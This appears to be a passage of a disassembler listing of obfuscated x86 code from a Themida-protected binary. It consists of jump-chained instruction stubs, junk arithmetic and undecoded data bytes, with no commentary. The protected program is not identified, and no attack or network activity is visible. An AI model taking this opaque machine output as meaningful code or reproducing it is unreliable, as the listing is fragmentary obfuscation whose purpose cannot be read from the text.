51h, 87h, 14h dd 87D2F724h, 34FF2414h, 89535924h, 4C381E3h, 83000000h dd 1C8704C3h, 0E9815C24h, 1, 0C181D1F7h, 6470713Ch, 6E60E9h db 0 ; --------------------------------------------------------------------------- loc_566CB5: ; CODE XREF: Themida_:005642AAj xor eax, [esp] mov esp, [esp] add ebx, 4F25E78h push ebp jmp loc_56FBB3 ; --------------------------------------------------------------------------- loc_566CC7: ; CODE XREF: Themida_:005700CEj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_566CCC: ; CODE XREF: Themida_:00565EF0j push eax mov eax, 6F681F11h sub ebx, eax pop eax pop edi or ebx, 43DF15DCh sub ebx, 14570F3Ch jmp loc_568C45 ; --------------------------------------------------------------------------- db 5Ah dd 7D5E6866h, 1FEAE9h, 24248B00h, 0E904C483h, 0B5EBh ; --------------------------------------------------------------------------- loc_566CFC: ; CODE XREF: Themida_:0056A608j sub esp, 4 mov [esp], eax jmp loc_5665C1 ; --------------------------------------------------------------------------- loc_566D07: ; CODE XREF: Themida_:0055E147j xor ecx, [esp] jmp loc_564D90 ; --------------------------------------------------------------------------- db 0B8h dd 19C9028Ah, 4408BD05h, 8BC2294Fh, 0C4812404h, 4, 3466C281h dd 7BE94D24h, 680000BDh, 2314h, 0BB241C89h, 78DC78E9h dd 815BD909h, 16278CE9h, 59CE0154h, 0B82CE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566D4E: ; CODE XREF: Themida_:0056E792j mov [esp], ebx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp sub esp, 4 jmp loc_570DF4 ; --------------------------------------------------------------------------- dw 0C483h dd 4EC8104h, 89000000h, 74FF241Ch, 1C8B0424h, 4C48324h dd 8B24048Fh, 4302424h, 5AE99C24h, 31FFFF65h, 0C0E9240Ch dd 0BAFFFF72h, 62023D5Eh, 6230E9h db 0 ; --------------------------------------------------------------------------- loc_566DA5: ; CODE XREF: Themida_:00570BE0j push ebp mov ebp, 681A3751h jmp loc_56BED1 ; --------------------------------------------------------------------------- dd 49FA6850h, 0F75858D4h, 7E8C1D0h, 5CBA3540h, 56352B9Ah dd 5156E432h, 35515EB9h, 0E9CB2969h, 40B2h, 80596659h dd 0B60FECEBh, 148B66C0h, 0C124E924h, 0E952FFFFh, 6651h dd 4C281h, 0C2830000h, 24148704h, 0EDE5E95Ch, 0FAB7FFFFh dd 0E95BFE88h, 9604h, 4C581h, 0ED810000h, 4, 5C242C87h dd 81242489h, 42404h, 5580000h, 4, 42Dh, 23A5E900h, 8B660000h dd 68512404h, 7FF5h, 0FFED25E9h, 20F181FFh, 0E9F6ACBAh dd 0B3A1h, 0B128E94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566E52: ; CODE XREF: Themida_:00560312j mov bh, 0E7h add bh, 7 not bh shl bh, 8 not bh xor bh, 9Bh mov dl, 0A3h add dl, 0F5h sub dl, bh sub dl, 0F5h mov ebx, [esp] add esp, 4 add al, 27h sub al, dl sub al, 27h pop dx push eax push esp pop eax push ecx mov ecx, 4 add eax, ecx pop ecx push edx push 4 pop edx jmp loc_567E3A ; --------------------------------------------------------------------------- db 68h, 6Ch, 74h dd 0C1587794h, 1C0507E8h, 89FF10D7h, 0DF0158C3h, 0FFB812E9h db 0FFh ; --------------------------------------------------------------------------- loc_566EA9: ; CODE XREF: Themida_:005661D3j mov [esp], edi push edx mov edx, 56302FFCh jmp loc_56B6D6 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFF5CAh ; --------------------------------------------------------------------------- loc_566ECC: ; CODE XREF: Themida_:0056318Cj sub ebp, ecx jmp loc_56F43A ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C8700h, 57D6F75Ch, 6221DFBFh, 0ECD2E968h, 405FFFFh dd 83000000h, 0FF5004C0h, 58042474h, 5C24048Fh, 31243C33h dd 0D2E9243Ch db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F07: ; CODE XREF: Themida_:005634DDj sub dword ptr [esp], 49990C05h pop esi add esi, 49990C05h jmp loc_571E26 ; --------------------------------------------------------------------------- loc_566F1A: ; CODE XREF: Themida_:00566821j pop esp push dword ptr [esp] mov edi, [esp] jmp loc_567051 ; --------------------------------------------------------------------------- dw 0C483h dd 4EC8104h, 89000000h, 0E9542414h, 5A97h, 3302C183h, 0C31240Ch dd 240C3324h, 6624248Bh, 2404B30Fh, 639BE99Ch, 52ACFFFFh dd 0FFF874E9h, 0EB951FFh, 8144B47Fh, 233C67F1h, 98C98160h dd 0D15CEF6Eh, 66E981E9h, 0C165506Ah, 0F18103E9h, 1B25E9B6h dd 2C11E9h db 0 ; --------------------------------------------------------------------------- loc_566F81: ; CODE XREF: Themida_:00571CF3j add edx, 3182578Dh mov eax, [esp] add esp, 4 add edx, 1 or edx, 25E12EFCh or edx, 7EB7607Ah add edx, 14D56813h push esi mov esi, 5E701746h jmp loc_563A5A ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF6335h, 0E95EF231h, 0FFFFC794h, 0C781E789h, 4, 4C781h dd 3C870000h, 0EC835C24h, 14896602h, 78E5E924h, 1C68FFFFh dd 89000069h, 2E92414h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566FEB: ; CODE XREF: Themida_:0056F94Bj xor esi, 71620C1Ch mov ebx, esi jmp loc_563B34 ; --------------------------------------------------------------------------- dd 24048B66h, 0E904EC83h, 9503h, 64E952ADh, 81000018h dd 3C7FCCF6h, 0E9F7012Eh, 890Ch ; --------------------------------------------------------------------------- loc_567018: ; CODE XREF: Themida_:0055F003j push 46657CB2h pop esi shl esi, 8 neg esi jmp loc_568365 ; --------------------------------------------------------------------------- dd 666A68h, 24048900h, 8904EC83h, 68BD242Ch, 0E977503Fh dd 323Eh ; --------------------------------------------------------------------------- loc_567040: ; CODE XREF: Themida_:0056B570j pop ecx not dh jmp loc_562FAA ; --------------------------------------------------------------------------- loc_567048: ; CODE XREF: Themida_:0056FD70j pop ebp push dword ptr [esp] jmp loc_56E82A ; --------------------------------------------------------------------------- loc_567051: ; CODE XREF: Themida_:00566F21j push 593Ch mov [esp], edi mov edi, esp add edi, 4 jmp loc_56F1C1 ; --------------------------------------------------------------------------- aSK db 'с,$°И ╙',0 dw 5F00h dd 6E2BC681h, 0C6810931h, 0A0F26A33h, 1EE9F129h, 48FFFFF5h dd 78D6E9h, 242C8900h, 46E95457h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_567093: ; CODE XREF: Themida_:0056B849j xor ebp, 10CA3E34h push 2E7Bh mov [esp], ebp jmp loc_56FEA8 ; --------------------------------------------------------------------------- loc_5670A6: ; CODE XREF: Themida_:00569340j push 0DC5AEF7Ah pop eax jmp loc_55F36E ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 36A6855h, 0E95D51D8h, 0FFFFBF5Ah, 0E9241C33h, 0FFFFE61Ch dd 0F42C6FBDh, 93B4E913h, 0E9AD0000h, 0FFFFF8FEh, 7638C781h dd 0B95109B4h, 0F95312Ch, 9DE9CF01h, 81FFFF7Bh, 130ABBE9h dd 0E9525E32h, 0FFFF97DAh, 0E95DEF29h, 740Eh ; --------------------------------------------------------------------------- loc_567100: ; CODE XREF: Themida_:0056A951j xor dword ptr [ecx], 2DEC0625h pop ecx pop eax mov edx, [esp] add esp, 4 jmp loc_567F3E ; --------------------------------------------------------------------------- db 68h dd 406h, 0BB241C89h, 6E1EA3h, 68B7C381h, 0E3C130A0h, 98A5E905h dd 0C890000h, 255FB924h, 0B8502E02h, 171B2622h, 3A667E35h dd 58C20107h, 0E7CEA81h, 0CA297598h, 0E7CC281h, 0EA817598h dd 1021405Ch, 0E9240C8Bh, 1022h ; --------------------------------------------------------------------------- loc_567160: ; CODE XREF: Themida_:00572257j pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_56958D ; --------------------------------------------------------------------------- dd 9759C809h, 5750D7F7h, 8324048Bh, 0F75F04C4h, 505756D8h dd 9F12E9B8h, 0F5F4E90Eh, 77FFFFFFh, 59669D1Ch, 9C2414D2h dd 558FE9h db 0 ; --------------------------------------------------------------------------- loc_567199: ; CODE XREF: Themida_:0056D27Cj mov ebx, ecx mov ebp, ebx pop ebx pop ecx pop ebx add esi, ebp mov ebp, [esp] jmp loc_561365 ; --------------------------------------------------------------------------- dw 1487h dd 24248B24h, 51241C89h, 8010B753h, 0F78075E7h, 5BFD8827h dd 80E9F580h, 0EDC0A2CDh, 4EDC007h, 0F580C5FEh, 8BEB88DEh dd 0C481240Ch, 4, 522DE380h, 50D6B151h, 0FF78CEE9h, 8DE95AFFh dd 1FFFFACh, 24148BD6h, 6FBFE9h, 98E78100h, 0E935D94Eh dd 0FFFF9C04h, 815AD101h, 951640C1h, 81D9F72Fh, 861922F1h dd 0E4F18114h, 5392B71Eh, 0FFA869E9h, 5DEA01FFh, 5AD00159h dd 5A9BE9h, 4BE00h, 0F3010000h, 8124348Bh, 4C4h, 8626E900h dd 8966FFFFh, 665B66D8h, 4246C81h, 16654F2h, 66042444h dd 4244481h, 30E954F2h, 5D000086h, 1617EB81h, 0CB012CBDh dd 1617C381h, 0EB812CBDh, 5DDE25FAh, 1AE7E952h, 0EDC10000h dd 88E1E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567282: ; CODE XREF: Themida_:00567F4Dj mov ebp, 234832BDh shr ebp, 8 jmp loc_56EC77 ; --------------------------------------------------------------------------- loc_56728F: ; CODE XREF: Themida_:005726C0j mov ebp, 60D41AC0h jmp loc_56D1EC ; --------------------------------------------------------------------------- db 0BAh, 8Eh, 2Dh dd 22E910C4h, 1000051h, 24C381FBh, 5F5DE44Dh, 26856h, 515E0000h dd 5702FBB9h, 9FC1E956h, 0F581FFFFh, 3141DE6h, 8104E5C1h dd 0D381E6F5h, 0E9EE8900h, 9559h, 4C381h, 0C3810000h, 4 dd 9656E9h, 0B8505900h, 0C4A9562Ch, 33E7E9h db 0 ; --------------------------------------------------------------------------- loc_5672F1: ; CODE XREF: Themida_:0056943Aj pop esp jmp loc_55D2ED ; --------------------------------------------------------------------------- db 0ACh dd 6866D830h, 0F3E9054Dh, 59FFFF6Dh, 0C159CA89h, 0EA8103E2h dd 529B08ACh, 0E3E9D001h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_567317: ; CODE XREF: Themida_:00562303j push edi mov edi, 3DC97DD2h push edx push ecx push edx mov edx, 513F35CCh mov ecx, edx jmp loc_56A96B ; --------------------------------------------------------------------------- dd 0B7E9E689h, 68000015h, 3538h, 0FFA5DEE9h, 4EC81FFh dd 0E9000000h, 0FFFF9984h, 2EC6815Eh, 5B5FBE18h, 41190B05h dd 0D5B5E966h, 8B66FFFFh, 9768240Ch, 89000005h, 8B542404h dd 0E9522404h, 3F13h, 0D224248Bh, 0E99C243Ch, 0FFFF5F71h dd 150C181h, 0C1813303h, 9786E45h, 0E981F101h, 9786E45h dd 150E981h, 348B3303h, 4C48324h, 397DC181h, 0C10121D3h dd 3A5DE9h, 4C48300h, 457AE9h, 240C8B00h, 4C481h, 3C8B0000h dd 13E95324h, 51FFFFF7h, 8904EC83h, 55522424h, 4BDh, 5DEA8900h dd 4245401h, 8324148Bh, 0C8B04C4h, 4C48324h, 4EC81h, 4890000h dd 5866B824h, 0EC2D170Bh, 401BBE3Ch, 6807E8C1h, 66B5h dd 57243489h, 0FFC32BE9h, 242C89FFh, 5E0EC5BDh, 0E5C58158h dd 8139D02Bh, 0E1033DE5h, 81DDF714h, 0AFA36EF5h, 0F7D5F7F7h dd 0DDF745D5h, 2325E945h, 5AB90000h, 0F72FF039h, 0B3E981D9h dd 0C10DA962h, 0D6E902E1h, 89FFFFA0h, 4BA2414h, 50000000h dd 736A1DB8h, 7E8C130h, 0FA226B05h, 0E9C3015Eh, 0FFFF7EE7h ; --------------------------------------------------------------------------- loc_567464: ; CODE XREF: Themida_:00567EF3j push esi push 12267B33h mov esi, [esp] add esp, 4 shr esi, 6 push 2E23h mov [esp], ebp push ebx jmp loc_56D251 ; --------------------------------------------------------------------------- dd 0E932FF66h, 0FFFF5E61h, 242C8758h, 240CFF5Ch, 5E53E99Ch dd 0DD28FFFFh, 5BB2ED80h, 0E903EDC0h, 0FFFFBF9Ah ; --------------------------------------------------------------------------- loc_5674A8: ; CODE XREF: Themida_:00568916j pop ebx xchg eax, [esp] pop esp jmp loc_55D5F5 ; --------------------------------------------------------------------------- loc_5674B2: ; CODE XREF: Themida_:00568EC5j xor ebx, edx pop edx and esi, ebx pop ebx jmp loc_56C76C ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 8 dd 4D45D5F7h, 300FC581h, 0E8014F51h, 0FF846DE9h, 243C89FFh dd 0E904EC83h, 0FFFF7892h, 59E9D800h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5674E3: ; CODE XREF: Themida_:0056509Ej add ecx, 5A16528Bh add ecx, edi push esi jmp loc_56943F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Ah, 0E9000000h, 0AA73h, 5C241C33h, 0E99CC884h dd 0FFFF5DE1h, 5EE9F729h, 0B30000A9h, 5BDA0878h, 0F606EAC0h dd 53F280DAh, 0FF791CE9h, 2AA70DFFh, 0CD050EB8h, 357CF92Ch dd 1BB1CBA8h, 0FF8533E9h db 0FFh ; --------------------------------------------------------------------------- loc_567539: ; CODE XREF: Themida_:0056937Bj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub ebp, 4 xor ebp, [esp] jmp loc_55EF88 ; --------------------------------------------------------------------------- loc_567559: ; CODE XREF: Themida_:0056487Ej pop ebp add [esp+8], edx sub dword ptr [esp+8], 13D62849h jmp loc_572A32 ; --------------------------------------------------------------------------- db 8Bh dd 14892424h, 0E501E924h, 8F54FFFFh, 0EAE92404h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_56757F: ; CODE XREF: Themida_:00560965j xor [edx], ecx pop edx inc ecx sub esp, 4 jmp loc_55EA6A ; --------------------------------------------------------------------------- loc_56758B: ; CODE XREF: Themida_:00560F43j pop eax dec ecx xor ecx, 95A04BB6h mov eax, ecx jmp loc_56D14D ; --------------------------------------------------------------------------- dw 0EE80h dd 80C6FEFCh, 0EE8030EEh, 8BF0283Ch, 0C4832414h, 88E95B04h dd 55000099h, 8A7230BDh, 5DEA2945h, 72FCEA81h, 0EAC12E88h dd 4E2C106h, 3542EA81h, 0D70125ADh, 0EC83505Ah, 86DBE904h dd 0EB81FFFFh, 409856ADh, 0E9243C8Bh, 0A3EFh ; --------------------------------------------------------------------------- loc_5675E8: ; CODE XREF: Themida_:00567729j add esp, 4 pop ebx add bl, cl mov cx, [esp] push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_56E19D ; --------------------------------------------------------------------------- loc_567609: ; CODE XREF: Themida_:00562070j mov al, 9 add al, 0E1h neg al or al, 0D1h jmp loc_56F686 ; --------------------------------------------------------------------------- dw 0ED81h dd 10755E18h, 7E9CD01h, 87FFFF9Ch, 685C2414h, 1E65h, 4513E9h dd 4C48300h, 148BD729h, 4C48324h, 12B9514Fh, 0C12F6130h dd 0BF5707E9h, 369C1B5Ch, 0E4A3C781h, 0F929C963h, 0FF90CBE9h dd 2434FFFFh, 0E92434FFh, 0FFFFB98Fh, 52B0B353h, 525110B6h dd 5166F3B6h, 0EE2832B5h, 0EE805966h, 7E6C03Fh, 8811EE80h dd 0E1805AF1h, 6E1C046h, 0FF647BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56768D: ; CODE XREF: Themida_:00570DE2j mov ecx, esp add ecx, 4 push ebp push ecx mov ecx, 6CC81AA5h dec ecx jmp loc_56D2C1 ; --------------------------------------------------------------------------- loc_5676A2: ; CODE XREF: Themida_:0055E729j push eax jmp loc_562BCC ; --------------------------------------------------------------------------- dd 5381E280h, 0FA3018B7h, 0FED2F65Bh, 0B45066C2h, 9133E9C1h dd 0D6F70000h, 1378EE81h, 20E981E5h, 5900009Fh, 606BE9h db 0 ; --------------------------------------------------------------------------- loc_5676D1: ; CODE XREF: Themida_:0056051Dj xchg edi, [esp] jmp loc_567CAF ; --------------------------------------------------------------------------- db 1, 0CFh, 81h dd 0ED22B0C7h, 0EF815933h, 77C20392h, 0C781D701h, 77C20392h dd 12CEEF81h, 0C7814624h, 65277B6h, 4EC835Ah, 0E9240C89h dd 0ADEFh, 68243489h, 126419DEh, 8124348Bh, 4C4h, 27F68100h dd 0E90248BFh, 0FFFFDAF0h ; --------------------------------------------------------------------------- loc_567724: ; CODE XREF: Themida_:0056A825j mov cl, ah mov eax, [esp] jmp loc_5675E8 ; --------------------------------------------------------------------------- dw 8F59h dd 248B2404h, 24048924h, 0B86373B8h, 41FBE926h, 8B660000h dd 34E92414h, 5E0000A3h, 0FF811FE9h, 0EB815CFFh, 17361C63h dd 6CF4EB81h, 575040EDh, 450550BFh, 0CEF813Dh, 89C38AF4h dd 0FF055FF8h, 35FFFFFFh, 5E2A7A11h, 8158C329h, 0FB5464C3h dd 64A4E93Bh, 8851FFFFh, 0E9EB88E5h, 0FFFFA1C7h, 0C281F229h dd 2B1D2A93h, 0FF98B9E9h, 247401FFh, 246C8104h, 5D565D04h dd 24448119h, 0E7261C04h, 2434FF44h, 0FF83E5E9h, 24048BFFh dd 8F85E9h db 0 ; --------------------------------------------------------------------------- loc_5677C1: ; CODE XREF: Themida_:0056417Fj shr edx, 1 cmp eax, edx jz loc_567F3E push 6D66h mov [esp], edx push 40B0h mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_56CA82 ; --------------------------------------------------------------------------- dw 555Ch dd 246E1BBDh, 246C2912h, 4815D04h, 135E7424h, 4E71E943h dd 0BE560000h, 7D56DBB9h, 2B4EC381h, 0EB812324h, 1C3500CDh dd 0B3E9F329h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56781B: ; CODE XREF: Themida_:005627B0j mov esi, [esp] add esp, 4 push eax mov eax, 347034BCh sub esi, eax jmp loc_572091 ; --------------------------------------------------------------------------- dw 0C781h dd 0F4B76BEh, 4EC815Ah, 0E9000000h, 49F6h ; --------------------------------------------------------------------------- loc_567840: ; CODE XREF: Themida_:005641D2j mov ebp, 2C943921h sub ebp, edx mov edx, [esp] add esp, 4 and eax, ebp pop ebp or edx, eax shl edx, 1 jmp loc_5619AB ; --------------------------------------------------------------------------- db 0B9h, 0AFh, 77h dd 0CB0130C3h, 54525D59h, 0FFE77EE9h, 4BE56FFh, 1000000h dd 5E042474h, 83243C8Bh, 0E95204C4h, 835Ch ; --------------------------------------------------------------------------- loc_567880: ; CODE XREF: Themida_:00562372j add eax, 7B6F127Fh jmp loc_56F66F ; --------------------------------------------------------------------------- dw 1EBEh dd 310F8256h, 95D3E9F0h, 0FE01FFFFh, 2996E9h db 0 ; --------------------------------------------------------------------------- loc_56789D: ; CODE XREF: Themida_:0056025Cj sub esp, 4 jmp loc_562631 ; --------------------------------------------------------------------------- db 1, 0DAh, 81h dd 2B5F69C2h, 0EDBD5571h, 297A1C0Fh, 34FF5DEAh, 0ACE95B24h dd 5B00001Bh, 134568h, 24348900h, 4BEh, 8BF50100h, 32E92434h dd 0FFFFFFECh, 81582434h, 4ECh, 242C8900h, 2434FF54h, 0E189515Dh dd 4C181h, 0C1810000h, 4, 5C240C87h, 1F5BB53h, 0F753117Ch dd 1C8B2414h, 24CDE924h, 34FF0000h, 2434FF24h, 73685558h dd 89000047h, 4812424h, 424h, 0EAE95D00h, 0E9FFFF68h, 0FFFF59BDh dd 4197F281h, 0E2C147ECh, 0B8F28102h, 296F7D5Ch, 0C875AD1h dd 2CE95C24h, 0F7FFFF96h, 79C181D1h, 551C8D76h, 0F334AFBDh dd 5DE9017Eh, 9E9CB01h, 8100008Dh, 0D0699BEEh, 86C68120h dd 5A57ED4Ch, 6D47684Eh, 14890000h, 6C15BA24h, 0D631DDA3h dd 8124148Bh, 4C4h, 0E9F02900h, 0FFFF8A08h, 50241C89h dd 0FF7AEDE9h db 0FFh ; --------------------------------------------------------------------------- loc_567999: ; CODE XREF: Themida_:0056C7F4j mov [esp], esi push ebx push ecx jmp loc_569490 ; --------------------------------------------------------------------------- db 83h dd 885004C4h, 58C388F0h, 0FFB639E9h db 0FFh ; --------------------------------------------------------------------------- loc_5679B1: ; CODE XREF: Themida_:00562E4Aj push esp jmp loc_5727AC ; --------------------------------------------------------------------------- db 80h dd 0E80088EDh, 55240C8Bh, 7EF1E954h, 0C8B0000h, 4C48324h dd 31241433h, 14332414h, 24248B24h, 582434FFh, 427E68h dd 240C8900h, 0FF9C65E9h, 6E0C1FFh, 0FF5F94E9h db 0FFh ; --------------------------------------------------------------------------- loc_5679F1: ; CODE XREF: Themida_:0055DD3Fj mov [esp], ebp sub dword ptr [esp], 0FFFFFFFFh mov ebp, [esp] add esp, 4 add ebp, 38C76E01h jmp loc_56F300 ; --------------------------------------------------------------------------- loc_567A0C: ; CODE XREF: Themida_:0056EC61j mov ebp, 10h and ebx, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ebx push esp push dword ptr [esp] pop ebx push eax jmp loc_564958 ; --------------------------------------------------------------------------- loc_567A28: ; CODE XREF: Themida_:00561D8Bj mov [esp], edi jmp loc_567D30 ; --------------------------------------------------------------------------- dd 1C8B5553h, 4C48324h, 0F40EE95Dh, 0F68FFFFh, 8B086E51h dd 0C481242Ch, 4, 0FFC651E9h db 0FFh ; --------------------------------------------------------------------------- loc_567A51: ; CODE XREF: Themida_:0056F687j mov dh, 24h neg dh shl dh, 6 neg dh jmp loc_56A34C ; --------------------------------------------------------------------------- db 0F7h dd 0E9E987D5h, 0FFFFF2C7h, 592434FFh, 4EC8150h, 89000000h dd 0EC812424h, 4, 0B9240C89h, 4, 4244C01h, 0A419E959h dd 0E959FFFFh, 1Fh ; --------------------------------------------------------------------------- loc_567A94: ; CODE XREF: Themida_:0056F227j pop esp sub esp, 4 mov [esp], esi jmp loc_56B9B6 ; --------------------------------------------------------------------------- db 0BFh dd 4, 4247C01h, 6AE95A5Fh, 68FFFFCBh, 19E2h, 51242C89h dd 1722E9h, 24143100h, 0FF7FABE9h db 0FFh ; --------------------------------------------------------------------------- loc_567AC9: ; CODE XREF: Themida_:00565367j push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_55F305 ; --------------------------------------------------------------------------- dw 0C89h dd 1088B924h, 7CE95BE9h, 81FFFFCBh, 4104246Ch, 1771620h dd 0E904246Ch, 0FFFFB88Eh, 0C84AE958h, 6852FFFFh, 0D966A85h dd 5724148Bh, 0C781E789h, 4, 4C781h, 0C5E90000h, 0BD000058h dd 0DDA13930h, 91E9EE31h, 81000016h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 0EAE9241Ch, 5A000068h, 0F2E9D5F7h, 33FFFFEDh dd 248B2404h, 0C8B6624h, 4EC8124h, 0E9000000h, 0FFFFF52Dh ; --------------------------------------------------------------------------- loc_567B5C: ; CODE XREF: Themida_:00569701j xor ebp, 993A89CCh or ecx, ebp jmp loc_56B647 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 aStsD db 'STИсD',0 dw 8100h dd 0E1308E2h, 0A8EA8154h, 427D4E1Fh, 2ABFF281h, 0C2816B59h dd 4C642483h, 0D8EEF281h, 0D7013E71h, 5A2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56AB68 ; --------------------------------------------------------------------------- loc_567BA0: ; CODE XREF: Themida_:0056D9C2j mov esp, [esp] jmp loc_561043 ; --------------------------------------------------------------------------- dd 66241489h, 66719BBAh, 4BBB6653h, 0EA816612h, 81660137h dd 66219FC2h, 0AAE9DA01h, 5Dh, 0EC815AF4h, 4, 88241489h dd 0F08850E6h, 3A70E9h, 0E9C10100h, 0FFFF634Ah, 535F5457h dd 5840E9h, 4C48100h, 33000000h, 2C31242Ch, 242C3324h dd 8924248Bh, 8DE92414h, 68000037h, 303Ch, 6444E9h, 4BB00h dd 0BBE90000h, 8BFFFFBDh, 0C483243Ch, 4C48304h, 806EE9h dd 8CEE8100h, 16E88EEh, 0C0E95EF3h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_567C37: ; CODE XREF: Themida_:0056A0A9j mov edi, 66963C10h add edi, 0E43827B4h and ebp, edi mov edi, [esp] add esp, 4 sub ebp, 0F851CD5Eh add ebx, ebp jmp loc_565DC3 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 24148904h, 3FA168h, 24248900h, 0FF94DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_567C71: ; CODE XREF: Themida_:0056AFEDj xchg ecx, [esp] jmp loc_56EE58 ; --------------------------------------------------------------------------- db 81h, 0C5h, 67h dd 8167FB3Ch, 7F6006C5h, 75D2E96Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_567C8A: ; CODE XREF: Themida_:00564247j xchg ebx, esi pop ebx push ebx push edi mov edi, 0AAA79C50h jmp loc_570170 ; --------------------------------------------------------------------------- db 83h, 0EFh, 4 dd 0E9243C87h, 0FFFF9129h, 87D7F759h, 69E942D7h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_567CAF: ; CODE XREF: Themida_:005676D4j pop esp pop ecx sub ecx, 18FA2AD3h sub esp, 4 jmp loc_571E33 ; --------------------------------------------------------------------------- loc_567CC2: ; CODE XREF: Themida_:0055F9E7j pop edi xchg edx, [esp] mov esp, [esp] push dword ptr [esp] pop ebx push 2144h mov [esp], edx jmp loc_5635B0 ; --------------------------------------------------------------------------- dw 8FBAh dd 16E6A16h, 55565AD3h, 0E02364BDh, 81E5D125h, 0BC3EC4E5h dd 0F5C8E904h, 5166FFFFh, 0FE932B1h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567CFF: ; CODE XREF: Themida_:0056D836j sub esi, edi mov edi, [esp] jmp loc_5649A9 ; --------------------------------------------------------------------------- loc_567D09: ; CODE XREF: Themida_:0056EC44j mov ebx, 77D842FCh inc ebx shr ebx, 5 and ebx, 5504F9Ah jmp loc_56B6FD ; --------------------------------------------------------------------------- aYhaf db 'YhAF',0 dw 8900h dd 6CB82404h, 0E95B926Fh, 0FFFFB775h ; --------------------------------------------------------------------------- loc_567D30: ; CODE XREF: Themida_:00567A2Bj push 3F11h mov [esp], edx mov edx, 1BDD4236h sub edx, 0FFFFFFFFh inc edx dec edx push ecx mov ecx, 7D730FDAh sub ecx, 7A75BF74h jmp loc_563837 ; --------------------------------------------------------------------------- db 5Fh dd 0E924048Fh, 0FFFF7DF2h, 0FF1C5709h, 34FF2434h, 2434FF24h dd 4C4835Ah, 294AE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_567D72: ; CODE XREF: Themida_:00571C0Aj and ecx, edi jmp loc_5610C2 ; --------------------------------------------------------------------------- db 58h, 28h, 0F0h dd 0E924148Bh, 0FFFFB8E4h ; --------------------------------------------------------------------------- loc_567D84: ; CODE XREF: Themida_:005699B0j and eax, edx pop edx or eax, eax jz loc_563244 push dword ptr [edi+28h] jmp loc_56F360 ; --------------------------------------------------------------------------- db 81h dd 4E9h, 240C8700h, 8924248Bh, 8B542404h, 0C4832404h, 9F00E904h dd 0C2810000h, 4, 4C281h, 57E90000h db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_567DC3: ; CODE XREF: Themida_:00566803j shr ecx, 0Bh push 1315h mov [esp], ebx push 58C9h jmp loc_566960 ; --------------------------------------------------------------------------- loc_567DD8: ; CODE XREF: Themida_:0056DCA6j add esp, 4 pop dword ptr [esp] mov esp, [esp] and eax, esi mov esi, [esp] push edi mov edi, esp jmp loc_56641E ; --------------------------------------------------------------------------- aQsG_SY db '\QS╩┐".',0Ah db 'ИсY',0 dw 8100h dd 0ED4C86EEh, 9BC68157h, 120D069h, 0FB55E9D6h, 148BFFFFh dd 7B48E924h, 0DE89FFFFh, 5B2434FFh, 904C483h, 348B1C77h dd 5D39E924h, 0EA81FFFFh, 0FBE6F13Fh, 148BD501h, 2F3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_567E3A: ; CODE XREF: Themida_:00566E8Cj sub eax, edx pop edx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov bh, 4Bh xor bh, ah xor ah, bh xor bh, ah jmp loc_56B569 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 6C368h, 241C8900h, 7B9EE954h, 665BFFFFh, 6606E7C1h dd 6607E7C1h, 8166DFF7h, 0E957BBCFh, 0FFFFAE1Dh, 0EF81F701h dd 163F487Bh, 67BF055Eh, 0A0E940AEh, 8100007Fh, 0AF50FDCAh dd 0FBEA8168h, 1E9AF7Eh, 0C3815AD3h, 4, 0E9241C87h, 79E8h dd 6521685Bh, 3C890000h, 2434FF24h, 7D84E9h, 6B6EBB00h dd 0CB8151D9h, 329D5299h, 568E9h, 0E978B400h, 0FFFFEAA5h dd 240C8B66h, 81E78957h, 4C7h, 4EF8100h, 0E9000000h, 0FFFF70C1h ; --------------------------------------------------------------------------- loc_567EF0: ; CODE XREF: Themida_:00570FCFj mov [esp], edi jmp loc_567464 ; --------------------------------------------------------------------------- dd 3512B405h, 24148B6Fh, 5704C483h, 4BFh, 5FF80100h, 5C240487h dd 2604D800h, 82CAE953h, 0FC88FFFFh, 0E9241C8Bh, 4474h ; --------------------------------------------------------------------------- loc_567F24: ; CODE XREF: Themida_:00568DCDj mov edi, 4 add [esp+4], edi pop edi jmp loc_56D18F ; --------------------------------------------------------------------------- loc_567F33: ; CODE XREF: Themida_:005646D9j jmp loc_55D2ED ; --------------------------------------------------------------------------- 